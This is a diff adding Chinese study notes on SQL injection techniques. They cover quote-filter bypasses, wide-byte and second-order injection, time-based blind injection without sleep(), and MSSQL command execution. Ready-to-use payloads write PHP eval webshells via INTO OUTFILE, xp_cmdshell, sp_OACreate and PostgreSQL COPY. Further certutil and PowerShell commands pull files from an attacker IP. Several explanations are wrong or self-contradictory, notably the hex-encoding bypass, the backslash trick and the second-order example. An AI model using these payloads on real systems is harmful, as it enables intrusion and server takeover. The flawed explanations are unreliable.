| dbms_utility.sqlcode_to_char() | 这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用 | AND 1=TO_NUMBER((SELECT 'a' |
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
### 单引号被过滤怎么绕过
|
||||||
|
|
||||||
|
**1. 使用双引号**
|
||||||
|
|
||||||
|
如果后端代码在 SQL 查询中使用了双引号 `"` 来包裹字符串,那么你可以尝试用双引号进行注入
|
||||||
|
|
||||||
|
**原始查询:** `SELECT * FROM users WHERE username = "$username"`
|
||||||
|
|
||||||
|
**注入尝试:** `username=" or 1=1 -- "`
|
||||||
|
|
||||||
|
**最终执行的 SQL:** `SELECT * FROM users WHERE username = "" or 1=1 -- "`
|
||||||
|
|
||||||
|
这种情况并不常见,因为多数开发者会优先使用单引号。但它是一个很好的起点,值得尝试
|
||||||
|
|
||||||
|
**2. 使用十六进制编码**
|
||||||
|
|
||||||
|
有些数据库(如 MySQL)允许使用十六进制编码来表示字符串。你可以将单引号 `'` 或整个字符串(如 `or 1=1`)进行十六进制编码,然后通过 `0x` 前缀传入
|
||||||
|
|
||||||
|
**原始查询:** `SELECT * FROM users WHERE id = '...注入点...'`
|
||||||
|
|
||||||
|
**注入尝试:** 假设你要注入 `or 1=1`,单引号 `'` 的十六进制是 `0x27`。 `' or 1=1 -- ` 的十六进制是 `0x27206f7220313d31202d2d20`
|
||||||
|
|
||||||
|
**完整 URL 注入:** `id=0x27206f7220313d31202d2d20`
|
||||||
|
|
||||||
|
**最终执行的 SQL:** `SELECT * FROM users WHERE id = 'or 1=1 -- '`
|
||||||
|
|
||||||
|
虽然这看起来很直接,但实际应用中,你需要将整个注入语句进行十六进制编码,因为后端可能不仅过滤单引号,还可能过滤其他关键字
|
||||||
|
|
||||||
|
**3. 使用宽字节注入**
|
||||||
|
|
||||||
|
宽字节注入是一种专门针对 PHP 的 `addslashes()` 函数和 `magic_quotes_gpc` 配置的绕过技术。在某些字符集(如 GBK)中,一个汉字占用两个字节
|
||||||
|
|
||||||
|
当服务器使用 `addslashes()` 函数时,它会将单引号 `'` 转义为 `\'`。在 ASCII 编码下,`\` 的十六进制是 `0x5c`,`'` 是 `0x27`,所以 `\'` 就是 `0x5c27`
|
||||||
|
|
||||||
|
但如果后端数据库使用了 GBK 编码,且它将 `0x5c` 和它前面的一个字节组合成一个汉字时,那么 `\'` 中的 `\` 就会被“吃掉”,从而使得后面的单引号 `'` 重新生效
|
||||||
|
|
||||||
|
**攻击步骤:**
|
||||||
|
|
||||||
|
1. 找到一个 GBK 编码的网站
|
||||||
|
2. 在 URL 中注入一个宽字节,例如 `%df`
|
||||||
|
3. 然后注入单引号
|
||||||
|
|
||||||
|
**注入尝试:** `id=1%df%27`
|
||||||
|
|
||||||
|
**服务器端处理:**
|
||||||
|
|
||||||
|
1. PHP 的 `addslashes()` 函数收到 `%df'`
|
||||||
|
2. 它在 `'` 前面加上 `\`,变成 `%df\'`
|
||||||
|
3. URL 编码后,`%df\'` 变为 `%df%5c%27`
|
||||||
|
4. 当这个字符串传到数据库时,GBK 编码会把 `%df%5c` 当作一个汉字,`%27` 就会单独留下,恢复成单引号 `'`
|
||||||
|
|
||||||
|
**最终执行的 SQL:** `SELECT * FROM users WHERE id = '1運''...` (`'運'` 是一个汉字) 后面的 `'` 就成为我们控制的单引号,可以用来闭合语句
|
||||||
|
|
||||||
|
**4. 使用反斜线 `\` 绕过 `addslashes`**
|
||||||
|
|
||||||
|
在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” `addslashes` 自动添加的反斜线
|
||||||
|
|
||||||
|
**原始查询:** `SELECT * FROM users WHERE id = '...注入点...'`
|
||||||
|
|
||||||
|
**注入尝试:** `id=1\'`
|
||||||
|
|
||||||
|
**服务器端处理:**
|
||||||
|
|
||||||
|
1. PHP 的 `addslashes()` 函数收到 `1'`
|
||||||
|
2. 它在 `'` 前面加上 `\`,变成 `1\'`
|
||||||
|
3. 如果前端的输入是 `1\'`, `addslashes` 会将 `\'` 变为 `\\'`
|
||||||
|
|
||||||
|
这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它
|
||||||
|
|
||||||
|
**5. `char()` 函数绕过**
|
||||||
|
|
||||||
|
`char()` 函数可以将数字转换为字符。你可以利用这个函数来构造单引号
|
||||||
|
|
||||||
|
**注入尝试:** `id=1 and 1=1 and (select char(39))` `id=1 union select 1,2,3 from users where username=char(39)adminchar(39)`
|
||||||
|
|
||||||
|
这种方法通常用于绕过对特定字符串(如 `'`)的过滤,但不能绕过对整个注入语句的过滤
|
||||||
|
|
||||||
|
**6. 使用 `like` 语句绕过**
|
||||||
|
|
||||||
|
在某些盲注场景下,如果无法使用单引号,可以尝试使用 `like` 语句来代替 `union` 或 `and`
|
||||||
|
|
||||||
|
**注入尝试:** `id=1 and 1 like 1 and 1=1 --` `id=1 and 1 like database()`
|
||||||
|
|
||||||
|
这种方法适用于特定的 SQL 语句结构,但并非万能
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
### MySQL 一个 @ 和两个 @ 的区别
|
||||||
|
|
||||||
|
**`@`(用户自定义变量)**
|
||||||
|
|
||||||
|
一个 `@` 符号代表**用户自定义变量**(User-Defined Variables)。这种变量是用户在当前会话中手动创建的,它的生命周期只存在于当前 MySQL 连接会话中。当会话结束时,变量也会被释放
|
||||||
|
|
||||||
|
**特点:**
|
||||||
|
|
||||||
|
- **创建与赋值**:可以使用 `SET` 或 `SELECT ... INTO` 语句来赋值
|
||||||
|
- `SET @var_name = value;`
|
||||||
|
- `SELECT column INTO @var_name FROM table;`
|
||||||
|
- **作用域**:仅在当前连接会话中有效。一个用户设置的 `@var_name` 无法被其他用户连接访问
|
||||||
|
- **用途**:常用于存储临时数据、在多条 SQL 语句中传递值,或者在存储过程、函数中作为临时变量
|
||||||
|
|
||||||
|
**示例:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- 在当前会话中设置一个变量
|
||||||
|
SET @total_price = 100;
|
||||||
|
|
||||||
|
-- 使用该变量进行计算
|
||||||
|
SELECT @total_price * 1.1 AS price_with_tax;
|
||||||
|
|
||||||
|
-- 在另一个新的连接中,@total_price 变量是不存在的,它的值为 NULL。
|
||||||
|
```
|
||||||
|
|
||||||
|
**`@@`(系统变量)**
|
||||||
|
|
||||||
|
两个 `@` 符号代表**系统变量**(System Variables)。这些变量是 MySQL 服务器预先定义好的,用于控制服务器的各种行为和状态
|
||||||
|
|
||||||
|
系统变量分为两种:
|
||||||
|
|
||||||
|
- **全局系统变量 (`@@global.var_name`)**:影响 MySQL 服务器的**所有会话**。需要有 `SUPER` 权限才能修改
|
||||||
|
- **会话系统变量 (`@@session.var_name` 或 `@@var_name`)**:仅影响**当前连接会话**。它的值会继承自全局变量,但可以在会话中被单独修改,且不会影响其他会话
|
||||||
|
|
||||||
|
**特点:**
|
||||||
|
|
||||||
|
- **查看**:可以使用 `SHOW VARIABLES` 或 `SELECT @@var_name` 来查看
|
||||||
|
- **修改**:使用 `SET` 语句进行修改
|
||||||
|
- `SET GLOBAL max_connections = 200;`
|
||||||
|
- `SET SESSION sql_mode = 'STRICT_TRANS_TABLES';`
|
||||||
|
- `SET sql_mode = 'STRICT_TRANS_TABLES';`(`SESSION` 是默认的)
|
||||||
|
- **用途**:管理和调整数据库的各种配置,如最大连接数、字符集、缓冲区大小、SQL 模式等
|
||||||
|
|
||||||
|
**示例:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- 查看当前会话的字符集
|
||||||
|
SELECT @@character_set_client;
|
||||||
|
|
||||||
|
-- 查看全局最大连接数
|
||||||
|
SELECT @@global.max_connections;
|
||||||
|
|
||||||
|
-- 在当前会话中改变 SQL 模式,不影响其他会话
|
||||||
|
SET sql_mode = '';
|
||||||
|
|
||||||
|
-- 在所有会话中改变 SQL 模式 (需要 SUPER 权限)
|
||||||
|
SET GLOBAL sql_mode = 'STRICT_TRANS_TABLES';
|
||||||
|
```
|
||||||
|
|
||||||
|
| 特性 | @ (用户变量) | @@ (系统变量) |
|
||||||
|
| -------- | ----------------------------------- | ----------------------------------- |
|
||||||
|
| 全称 | User-Defined Variable | System Variable |
|
||||||
|
| 创建者 | 用户自定义 | MySQL 服务器预定义 |
|
||||||
|
| 作用域 | 仅当前会话 | 全局或当前会话 |
|
||||||
|
| 主要用途 | 存储临时数据,方便在多条 SQL 中传递 | 管理和配置服务器行为 |
|
||||||
|
| 生命周期 | 会话结束即失效 | 随服务器启动而加载 |
|
||||||
|
| 可否修改 | 用户随时可改 | 全局需要 SUPER 权限,会话可自由修改 |
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
### 为什么 MMSQL 存储过程可以执行命令
|
||||||
|
|
||||||
|
**1. `xp_cmdshell` 存储过程**
|
||||||
|
|
||||||
|
这是 MSSQL 中最著名,也是最危险的命令执行功能
|
||||||
|
|
||||||
|
**原理**
|
||||||
|
|
||||||
|
`xp_cmdshell` 是一个扩展存储过程(e**x**tended **p**rocedure)。它允许你在 SQL Server 内部执行操作系统的 **`cmd.exe`** 命令
|
||||||
|
|
||||||
|
当你执行 `EXEC xp_cmdshell 'dir c:\'` 时,SQL Server 会:
|
||||||
|
|
||||||
|
1. 启动一个 `cmd.exe` 进程
|
||||||
|
2. 将你的命令作为参数传递给 `cmd.exe`
|
||||||
|
3. 将命令的输出结果以行的形式返回到 SQL Server 的结果集中
|
||||||
|
|
||||||
|
**使用条件**
|
||||||
|
|
||||||
|
默认情况下,从 SQL Server 2005 开始,`xp_cmdshell` 处于**禁用状态**。要成功利用它,需要满足以下两个条件:
|
||||||
|
|
||||||
|
- **权限**:你必须拥有 **`sysadmin`** 服务器角色或**`CONTROL SERVER`**权限,这是因为 `xp_cmdshell` 默认只授予这些高权限用户
|
||||||
|
|
||||||
|
- **启用配置**:`xp_cmdshell` 必须通过以下 SQL 命令手动启用:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
sp_configure 'show advanced options', 1;
|
||||||
|
RECONFIGURE;
|
||||||
|
sp_configure 'xp_cmdshell', 1;
|
||||||
|
RECONFIGURE;
|
||||||
|
```
|
||||||
|
|
||||||
|
在渗透测试中,如果成功通过 SQL 注入或其他方式获得了高权限,你就可以执行这些命令来启用 `xp_cmdshell`,然后执行任意系统命令
|
||||||
|
|
||||||
|
**2. 其他相关的危险存储过程**
|
||||||
|
|
||||||
|
除了 `xp_cmdshell`,MSSQL 还有其他一些可以执行命令或辅助命令执行的存储过程,但它们不像 `xp_cmdshell` 那样直接
|
||||||
|
|
||||||
|
**`sp_addextendedproc`**
|
||||||
|
|
||||||
|
- **原理**:这个存储过程允许你将一个外部 DLL 文件注册为 SQL Server 的扩展存储过程
|
||||||
|
- **用途**:如果攻击者能上传一个恶意的 DLL 文件到服务器,就可以利用 `sp_addextendedproc` 将其注册为一个新的扩展存储过程,然后通过执行这个过程来执行恶意代码,从而绕过 `xp_cmdshell` 的禁用限制
|
||||||
|
|
||||||
|
**CLR 集成(SQL CLR)**
|
||||||
|
|
||||||
|
- **原理**:SQL Server 允许你使用 .NET 语言(如 C#)编写存储过程、函数、触发器等。这些代码可以调用 .NET 框架中的类库,包括那些可以执行系统命令的类,如 `System.Diagnostics.Process`
|
||||||
|
- **用途**:攻击者可以编写一个恶意的 C# 代码,将其编译成 DLL,然后加载到 SQL Server 中。这是一种更隐蔽、更强大的命令执行方法,因为它不依赖于 `xp_cmdshell`
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
### 如果想通过 MMSQL 上传文件需要开启哪个存储过程的权限
|
||||||
|
|
||||||
|
**1. 利用 `xp_cmdshell` 存储过程(最常见)**
|
||||||
|
|
||||||
|
如前面所述,`xp_cmdshell` 是执行系统命令的利器。一旦你获得了执行 `xp_cmdshell` 的权限(通常是 `sysadmin`),就可以通过它来执行命令行下的文件上传操作
|
||||||
|
|
||||||
|
- **所需权限**:`sysadmin` 服务器角色或 `CONTROL SERVER` 权限,并且 `xp_cmdshell` 必须已启用
|
||||||
|
|
||||||
|
- **实现方法**:
|
||||||
|
|
||||||
|
- **方法一:利用 `certutil` 下载文件** 这是最常见且非常实用的方法,它利用 Windows 自带的 `certutil.exe` 工具来下载文件
|
||||||
|
|
||||||
|
```sql
|
||||||
|
EXEC xp_cmdshell 'certutil.exe -urlcache -split -f "http://<攻击机IP>/<文件名>" "c:\\<文件保存路径>\\<文件名>"';
|
||||||
|
```
|
||||||
|
|
||||||
|
这种方法的好处是,`certutil` 是 Windows 系统自带的,不容易被杀毒软件拦截
|
||||||
|
|
||||||
|
- **方法二:利用 PowerShell 下载文件** 使用 PowerShell 的 `Invoke-WebRequest` 或 `Net.WebClient` 方法来下载文件
|
||||||
|
|
||||||
|
```sql
|
||||||
|
EXEC xp_cmdshell 'powershell.exe -c "Invoke-WebRequest -Uri http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';
|
||||||
|
```
|
||||||
|
|
||||||
|
或者使用更简单的别名:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
EXEC xp_cmdshell 'powershell.exe -c "iwr http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';
|
||||||
|
```
|
||||||
|
|
||||||
|
- **方法三:利用其他命令行工具** 如果目标机器上安装了 `wget`、`curl` 等工具,你也可以使用它们
|
||||||
|
|
||||||
|
**2. 利用数据库的 `OPENROWSET` 或 `BULK INSERT`**
|
||||||
|
|
||||||
|
这种方法相对不那么常见,但如果 `xp_cmdshell` 被禁用,这是一种可以尝试的备选方案。它主要利用 MSSQL 强大的文件处理能力
|
||||||
|
|
||||||
|
- **所需权限**:
|
||||||
|
|
||||||
|
- `sysadmin` 或 `bulkadmin` 角色
|
||||||
|
- `BULK INSERT` 需要对目标文件夹有写权限,并且 `OPENROWSET` 必须启用 `Ad Hoc Distributed Queries`
|
||||||
|
|
||||||
|
- **实现方法**:
|
||||||
|
|
||||||
|
- **方法一:`OPENROWSET`** 这种方法可以从一个共享网络路径(UNC Path)读取数据,并插入到数据库表中。虽然它主要用于数据导入,但你可以利用它将文件内容导入到数据库,再通过其他方式导出
|
||||||
|
|
||||||
|
- **方法二:`BULK INSERT`** 和 `OPENROWSET` 类似,`BULK INSERT` 也能从网络共享路径读取文件数据
|
||||||
|
|
||||||
|
```sql
|
||||||
|
BULK INSERT MyTable
|
||||||
|
FROM '\\<攻击机IP>\share\<文件名>'
|
||||||
|
WITH (
|
||||||
|
ROWTERMINATOR = 'EOF',
|
||||||
|
DATA_SOURCE = 'MyDataSource'
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
这种方法需要 MSSQL 服务的运行用户对网络共享路径有读取权限
|
||||||
|
|
||||||
|
**3. 利用 SQL CLR 集成**
|
||||||
|
|
||||||
|
这是一种高级且隐蔽的上传文件方法。如果你能够执行 SQL CLR 代码,你就可以编写一个 .NET 存储过程,该存储过程包含文件读写功能
|
||||||
|
|
||||||
|
- **所需权限**:`sysadmin` 或 `EXTERNAL ACCESS ASSEMBLY` 权限
|
||||||
|
- **实现方法**:
|
||||||
|
1. 用 C# 编写一个可以从 URL 下载文件并保存到本地的 DLL
|
||||||
|
2. 将 DLL 文件上传到服务器,或者通过 `xp_cmdshell` 下载
|
||||||
|
3. 使用 SQL 命令将 DLL 注册为 SQL CLR 程序集
|
||||||
|
4. 执行你编写的存储过程,实现文件上传
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
### SQL 延时盲注 sleep() 被禁用怎么绕过
|
||||||
|
|
||||||
|
**1. 利用 BENCHMARK() 函数**
|
||||||
|
|
||||||
|
`BENCHMARK()` 函数是 MySQL 中一个非常有用的性能测试函数。它的作用是让一个函数重复执行多次,并返回执行时间。我们可以利用这个特性来造成可控的延时
|
||||||
|
|
||||||
|
- **原理:** `BENCHMARK(count, expr)` 会让 `expr` 表达式执行 `count` 次。如果我们让它执行一个耗时但无害的操作,就可以造成明显的延时
|
||||||
|
|
||||||
|
- **基本语法:** `BENCHMARK(count, expr)`
|
||||||
|
|
||||||
|
- **利用方式:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
# 让 MD5('a') 重复执行 5,000,000 次,从而造成延时
|
||||||
|
AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(5000000, MD5('a')), 1)
|
||||||
|
```
|
||||||
|
|
||||||
|
**解释:**
|
||||||
|
|
||||||
|
- `IF(condition, true_value, false_value)`:这是一个条件判断语句
|
||||||
|
- `ascii(substr(database(),1,1))=115`:这是我们的注入条件,判断数据库名的第一个字符的 ASCII 值是否为 115(即 `'s'`)
|
||||||
|
- 如果条件为真,`BENCHMARK()` 函数被执行,导致页面延迟;如果条件为假,则立即返回 `1`,页面没有延迟
|
||||||
|
|
||||||
|
**2. 利用 GET_LOCK() 函数**
|
||||||
|
|
||||||
|
`GET_LOCK()` 函数是 MySQL 中的一个锁函数。它可以获取一个指定的锁,并在指定的超时时间内等待。如果锁被其他会话占用,它就会一直等待直到超时。我们可以利用这个特性来造成延时
|
||||||
|
|
||||||
|
- **原理:** `GET_LOCK(str, timeout)` 函数尝试获取一个名为 `str` 的锁,并等待 `timeout` 秒
|
||||||
|
|
||||||
|
- **利用方式:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
# 如果条件为真,则获取一个名为 'a' 的锁并等待 5 秒
|
||||||
|
AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1)
|
||||||
|
```
|
||||||
|
|
||||||
|
这种方法的缺点是,如果多个请求同时执行,可能会因为锁竞争而造成不可预知的行为
|
||||||
|
|
||||||
|
**3. 利用 RLIKE/REGEXP 的正则特性**
|
||||||
|
|
||||||
|
当使用 `RLIKE` 或 `REGEXP` 进行正则表达式匹配时,如果正则表达式足够复杂,并且目标字符串足够长,也会造成明显的性能消耗,从而实现延时效果
|
||||||
|
|
||||||
|
- **原理:** 构造一个回溯(backtracking)量较大的正则表达式,让 MySQL 在匹配时消耗大量 CPU 资源
|
||||||
|
|
||||||
|
- **利用方式:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
# 构造一个高回溯的正则表达式来消耗 CPU
|
||||||
|
AND IF(ascii(substr(database(),1,1))=115, (SELECT concat(rpad('',4999999,'a'),rpad('',4999999,'a'),'a') RLIKE '(a.*)+(a.*)+'), 1)
|
||||||
|
```
|
||||||
|
|
||||||
|
**解释:** `rpad()` 函数用于填充字符串,使其变得很长。`RLIKE '(a.*)+(a.*)+'` 是一个典型的回溯型正则表达式。当字符串很长时,匹配会非常耗时
|
||||||
|
|
||||||
|
**4. 利用笛卡尔积**
|
||||||
|
|
||||||
|
通过制造一个巨大的笛卡尔积,可以使查询的执行时间大大增加
|
||||||
|
|
||||||
|
- **原理:** 当两个大表没有关联地进行连接时,结果集的行数是两个表行数的乘积
|
||||||
|
|
||||||
|
- **利用方式:**
|
||||||
|
|
||||||
|
```sql
|
||||||
|
# 使用 information_schema.tables 来制造一个笛卡尔积
|
||||||
|
AND IF(ascii(substr(database(),1,1))=115, (SELECT COUNT(*) FROM information_schema.tables a, information_schema.columns b), 1)
|
||||||
|
```
|
||||||
|
|
||||||
|
这种方法同样会造成明显的延迟,但查询结果可能会占用大量内存
|
||||||
+101
@@ -0,0 +1,101 @@
|
|||||||
|
### SQL 注入怎么写入 WebShell
|
||||||
|
|
||||||
|
这种攻击方式的成功与否,主要取决于以下几个前提条件:
|
||||||
|
|
||||||
|
- **数据库账户权限**:当前连接数据库的账户必须具备 `File` 权限,或者说有权限执行 `LOAD_FILE()`、`INTO OUTFILE` 或 `INTO DUMPFILE` 等文件操作函数
|
||||||
|
- **目标路径可写**:网站服务器上的目标路径必须是可写的,且不能被权限系统限制
|
||||||
|
- **WAF 或防护软件**:没有强大的 WAF (Web Application Firewall) 或其他安全软件拦截注入语句
|
||||||
|
|
||||||
|
**1. MySQL:`INTO OUTFILE`**
|
||||||
|
|
||||||
|
这是最常用且最直接的写入 WebShell 的方法。`INTO OUTFILE` 语句能够将查询结果导出到一个指定的文件中
|
||||||
|
|
||||||
|
**利用步骤:**
|
||||||
|
|
||||||
|
1. **判断权限**:首先,需要判断当前数据库用户是否具有 `File` 权限。可以尝试执行以下语句:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
?id=1' AND (SELECT count(*) FROM mysql.user)>0--+
|
||||||
|
```
|
||||||
|
|
||||||
|
如果返回正常,则可以初步判断有权限。更直接的方式是尝试利用 `@@basedir` 或 `@@datadir` 查看路径是否可写
|
||||||
|
|
||||||
|
2. **获取网站绝对路径**:如果不知道网站的绝对路径,可以尝试利用报错或联合查询来获取
|
||||||
|
|
||||||
|
```sql
|
||||||
|
# 利用报错获取
|
||||||
|
?id=1' AND (SELECT 1 FROM (SELECT count(*), concat(@@basedir,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+
|
||||||
|
```
|
||||||
|
|
||||||
|
或者尝试猜测一些常见的路径,例如 `/var/www/html/`、`C:/inetpub/wwwroot/` 等
|
||||||
|
|
||||||
|
3. **构造注入语句**:将包含 WebShell 代码的字符串作为查询结果,然后使用 `INTO OUTFILE` 导出到目标路径
|
||||||
|
|
||||||
|
```sql
|
||||||
|
# 假设我们想写入一个名为 shell.php 的文件
|
||||||
|
?id=1' UNION SELECT 1, '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+
|
||||||
|
```
|
||||||
|
|
||||||
|
**注意:**
|
||||||
|
|
||||||
|
- `INTO OUTFILE` 导出时会以行的形式输出,每行末尾会有换行符,且不能覆盖已有文件。为了解决这个问题,通常会结合十六进制编码或 `LOAD_FILE()` 来绕过
|
||||||
|
- 为了避免转义和换行问题,WebShell 代码通常会用十六进制进行编码
|
||||||
|
|
||||||
|
```sql
|
||||||
|
?id=1' UNION SELECT 1, 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--+
|
||||||
|
```
|
||||||
|
|
||||||
|
**2. SQL Server:`xp_cmdshell`**
|
||||||
|
|
||||||
|
`xp_cmdshell` 是 SQL Server 的一个扩展存储过程,它允许在数据库中执行操作系统命令。如果它被启用,攻击者就可以直接执行命令来写入 WebShell
|
||||||
|
|
||||||
|
#### **利用步骤:**
|
||||||
|
|
||||||
|
1. **判断 `xp_cmdshell` 是否启用**:默认情况下,`xp_cmdshell` 是禁用的
|
||||||
|
|
||||||
|
```sql
|
||||||
|
;EXEC xp_cmdshell 'dir c:'--
|
||||||
|
```
|
||||||
|
|
||||||
|
如果执行成功,说明已启用。如果没有,则需要尝试启用它
|
||||||
|
|
||||||
|
2. **启用 `xp_cmdshell`**:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
;EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--
|
||||||
|
```
|
||||||
|
|
||||||
|
**注意:** 启用 `xp_cmdshell` 需要较高的权限(通常是 `sysadmin` 角色)
|
||||||
|
|
||||||
|
3. **写入 WebShell**:启用 `xp_cmdshell` 后,可以使用 `echo` 命令将 WebShell 代码写入文件
|
||||||
|
|
||||||
|
```sql
|
||||||
|
;EXEC xp_cmdshell 'echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'--
|
||||||
|
```
|
||||||
|
|
||||||
|
`^` 是为了转义特殊字符 `<`、`>` 等
|
||||||
|
|
||||||
|
**3. SQL Server:`sp_OACreate`**
|
||||||
|
|
||||||
|
如果 `xp_cmdshell` 被禁用,攻击者还可以利用 `sp_OACreate` 等 OLE 自动化存储过程来执行命令
|
||||||
|
|
||||||
|
- **利用方式**:利用 `sp_OACreate` 创建一个 `WScript.Shell` 对象,然后通过其 `Run` 方法执行命令
|
||||||
|
|
||||||
|
```sql
|
||||||
|
;DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'--
|
||||||
|
```
|
||||||
|
|
||||||
|
**4. PostgreSQL:`COPY TO`**
|
||||||
|
|
||||||
|
PostgreSQL 提供了 `COPY TO` 命令,用于将表数据导出到文件中
|
||||||
|
|
||||||
|
- **利用方式**:
|
||||||
|
|
||||||
|
1. 创建一个临时表,并将 WebShell 代码插入其中
|
||||||
|
2. 利用 `COPY TO` 命令将数据导出到目标文件
|
||||||
|
|
||||||
|
```sql
|
||||||
|
'; CREATE TABLE shell (cmd text); INSERT INTO shell VALUES ('<?php eval($_POST[cmd]);?>'); COPY shell TO '/var/www/html/shell.php';--
|
||||||
|
```
|
||||||
|
|
||||||
|
**注意:** 执行 `COPY` 命令需要 `superuser` 权限,且目标路径必须是数据库服务器可读写的
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
### 宽字节注入漏洞原理
|
||||||
|
|
||||||
|
我们通过一个经典的例子来解释这个漏洞
|
||||||
|
|
||||||
|
假设一个 PHP 应用在接收用户输入后,使用了 `addslashes()` 或 `mysql_real_escape_string()` 等函数来对单引号进行转义
|
||||||
|
|
||||||
|
**正常情况下的过滤:**
|
||||||
|
|
||||||
|
当用户输入 `'`(单引号)时,后端会被转义成 `\'`
|
||||||
|
|
||||||
|
- **输入:** `id=1'`
|
||||||
|
- **转义后:** `id=1\'`
|
||||||
|
- **SQL 查询:** `SELECT * FROM users WHERE id = '1\''`
|
||||||
|
|
||||||
|
这句 SQL 语句是合法的,因为 `\'` 被视为一个转义后的单引号,从而导致查询失败,注入被阻止
|
||||||
|
|
||||||
|
**宽字节注入的绕过:**
|
||||||
|
|
||||||
|
当后端数据库使用 GBK 编码时,我们可以利用一个特殊字符来“吃掉”转义符 `\`
|
||||||
|
|
||||||
|
- **输入:** 我们在单引号前加一个十六进制的宽字节,例如 `%df`
|
||||||
|
|
||||||
|
- **完整的输入:** `id=1%df'`
|
||||||
|
|
||||||
|
- **URL解码后:** `id=1'` (这里 `` 是 `0xdf` 的GBK编码,具体字符取决于浏览器)
|
||||||
|
|
||||||
|
- **`addslashes()` 处理后:** `addslashes()` 只会将单引号 `'` 转义成 `\'`。 此时,字符串变为 `1%df\'`
|
||||||
|
|
||||||
|
- **在内存中,它的十六进制表示是:** `31 25 64 66 5c 27`
|
||||||
|
- **但在GBK编码环境下,数据库会重新解释这个字符串**
|
||||||
|
|
||||||
|
MySQL 在接收到这个字符串时,会把它当作 GBK 编码进行解析。它会发现 `%df`(`0xdf`)是一个宽字节的开头,并且紧接着的 `\`(`0x5c`)恰好在GBK编码的合法范围内,可以和 `0xdf` 组成一个合法的汉字
|
||||||
|
|
||||||
|
- **`%df%5c`** (`0xdf` 和 `0x5c`) 在GBK编码中是一个合法的汉字,例如“運”
|
||||||
|
- **结果:** `1%df\'` 在数据库看来就变成了 `1` + **一个汉字** + `'`
|
||||||
|
|
||||||
|
- **最终的 SQL 查询:** `SELECT * FROM users WHERE id = '1運''`
|
||||||
|
|
||||||
|
此时,被转义的单引号 `'` 重新获得了生命,因为它不再被认为是转义符的一部分。攻击者就可以继续使用后面的单引号进行SQL注入
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
### 二次注入漏洞原理
|
||||||
|
|
||||||
|
我们通过一个经典的案例来解释这个过程
|
||||||
|
|
||||||
|
假设有一个网站,允许用户注册并修改个人信息,其中包含用户名
|
||||||
|
|
||||||
|
**第一阶段:数据注入**
|
||||||
|
|
||||||
|
1. **用户注册**:注册时,应用对用户名进行了严格的过滤,阻止了单引号和一些 SQL 关键字
|
||||||
|
2. **攻击者构造恶意用户名**:攻击者注册一个名为 `test' and 1=1--` 的账户。由于注册时的过滤机制,攻击者无法直接注入
|
||||||
|
3. **攻击者换一种方式**:攻击者注册一个名为 `test` 的账户。然后,在修改用户名的功能中,他将用户名修改为 `test' and 1=1--`
|
||||||
|
4. **应用处理**:假设应用在**更新操作**时对用户输入做了严格的过滤,但数据库中的**新增操作**没有。攻击者在第一次新增时,输入一个看似无害的用户名,例如 `test`
|
||||||
|
|
||||||
|
**漏洞的真正利用**:
|
||||||
|
|
||||||
|
现在,假设应用有一个功能,允许用户修改自己的个人信息,而这个功能在设计时存在缺陷
|
||||||
|
|
||||||
|
- **正常的修改用户信息 SQL 语句**:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
UPDATE users SET email = 'user@example.com' WHERE username = 'test';
|
||||||
|
```
|
||||||
|
|
||||||
|
- **攻击者如何利用**:
|
||||||
|
|
||||||
|
1. **第一次注入**:攻击者注册一个名为 `test` 的账户。这个数据被安全地存储在数据库中
|
||||||
|
2. **第二次注入**:攻击者找到一个功能,例如“修改评论”,而这个功能会将评论内容与用户名关联起来。假设评论表是 `comments`,并且 `username` 列没有做任何过滤
|
||||||
|
|
||||||
|
攻击者提交了一条评论,内容为 `' or 1=1--`。数据库执行了如下语句:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
INSERT INTO comments (username, content) VALUES ('test', '' or 1=1--');
|
||||||
|
```
|
||||||
|
|
||||||
|
此时,恶意数据 `' or 1=1--` 被安全地存储在了 `comments` 表中
|
||||||
|
|
||||||
|
1. **触发漏洞**:现在,应用中有一个**管理员审核评论**的功能。管理员点击审核按钮后,后端会执行一个不安全的查询,例如:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT * FROM comments WHERE content = '' or 1=1--';
|
||||||
|
```
|
||||||
|
|
||||||
|
这条查询语句由于没有对 `content` 字段进行二次过滤,导致 `or 1=1--` 被当作 SQL 语句的一部分,从而绕过了原本的逻辑,直接获取了 `comments` 表中的所有数据,甚至可以被进一步利用进行数据泄露或篡改
|
||||||
